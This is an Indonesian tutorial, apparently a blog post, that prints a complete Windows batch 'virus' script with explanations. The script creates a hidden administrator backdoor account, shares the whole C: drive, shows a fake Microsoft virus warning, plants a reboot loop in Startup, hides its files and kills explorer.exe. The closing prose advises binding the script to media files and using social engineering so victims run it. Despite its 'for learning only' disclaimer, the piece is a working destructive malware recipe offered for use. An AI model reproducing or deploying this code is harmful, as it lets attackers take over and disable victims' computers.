batch virus bagian 3

PERINGATAN:

ARTIKEL INI HANYA UNTUK BAHAN PEMBELAJARAN DAN TIDAK UNTUK DI PRAKTEKKAN. KAMU AKAN MENYESAL JIKA MENJALANKAN DI KOMPUTER/LAPTOP KAMU

@echo off cd\ cd %SystemRoot%\system32\ md 1001 cd\ cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000 echo 12:00:00.00 | time >> nul echo 01/01/2000 | date >> nul net users Microsoft_support support /add rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt. net localgroup administrators Microsoft_support /add rem 5h4r3 th3 R00t Dr1v3 net share system=C:\ /UNLIMITED cd %SystemRoot%\system32\1001 echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y ) mode con rate=1 > nul mode con delay=4 >> nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02 at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs” at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs” msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >> nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5 copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\warnusr.vbs” rem *************************************************************************** rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha....! ” > %systemroot%\system32\1001\sd.bat copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat” rem *************************************************************************** cd\ cls rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\ attrib +h +s +r warnusr.vbs attrib +h +s +r sd.bat cd\ cd %systemroot%\system32 attrib +h +s +r 1001 rem K1||5 th3 3xp|0r3r.3×3 Pr0c355 taskkill /F /IM explorer.exe rem @ EOV // End of Virus

        copy tulisan script diatas ke notepad, kemudian simpan dengan ekstensi bat . Program Virus ini akan mulai beroperasi pada C : windows \ \ system32 dan menciptakan direktori baru dengan nama ' 1001 ' , perubahan waktu untuk 12:00 dan tanggal 2000/01/01 , kemudian membuat user baru dengan nama akun ' Microsoft_support ' dengan password' dukungan ' yang cocok account .

         Ini secara otomatis memberikan hak administrator kepada account pengguna yang telah dibuat , kemudian berbagi root drive ' C : ' yang benar-benar adalah masalah keamanan membuat sistem benar-benar rentan . Ini akan membuat file VBScript dengan nama ' warnusr.vbs ' yang digunakan untuk menampilkan pesan ' Microsoft Windows baru-baru ini telah menemukan beberapa Virus berbahaya pada komputer Anda , Tekan Ya untuk Menetralisir virus atau

        Tekan Tidak untuk Abaikan Virus ' , yang benar-benar tampaknya datang dari sistem operasi itu sendiri , maka akan mengubah pengaturan keyboard dengan mengurangi waktu rate dan delay . Karena waktu dan tanggal telah sudah diubah oleh virus , maka secara otomatis akan muncul pesan yang menyatakan ' Anda diminta untuk me-restart komputer Anda Sekarang untuk mencegah Kerusakan atau kehilangan data ' tepat pada 12:01 dan 12:02 , jika pengguna restart komputer , maka itu akan hilang .

        Setiap kali pengguna mencoba untuk login ke komputer , maka secara otomatis akan reboot terus menerus , karena perintah ' shutdown-r ' diatur dengan waktu 00 , dan disimpan dalam folder start- up , pengguna tidak ada menghentikan ini kecuali dia masuk dalam safe modus dan menghapus file , apalagi file diatur dengan sistem dan atribut tersembunyi sehingga tidak terlihat .

      Satu-satunya cara untuk menghentikan ini adalah untuk masuk dalam safe mode dan menonaktifkan item start- up , dan kemudian menghapus file yang berada di C : \ windows \ system32 \ 1001 dan di folder start- up .

       Kamu juga dapat menggunakan beberapa exe - pengikat untuk mengikat virus ini dengan audio, video , teks atau apa pun file mungkin , kemudian menggunakan beberapa teknik rekayasa sosial untuk membuat korban mengeksekusi file sendiri untuk merusak / komputer nya .

        Kamu dapat membuat virus ini tanpa menggunakan alat pihak ketiga di windows , juga bukan exe - pengikat , Kamu dapat menggunakan ' IExpress ' wizard untuk membuat paket kustom .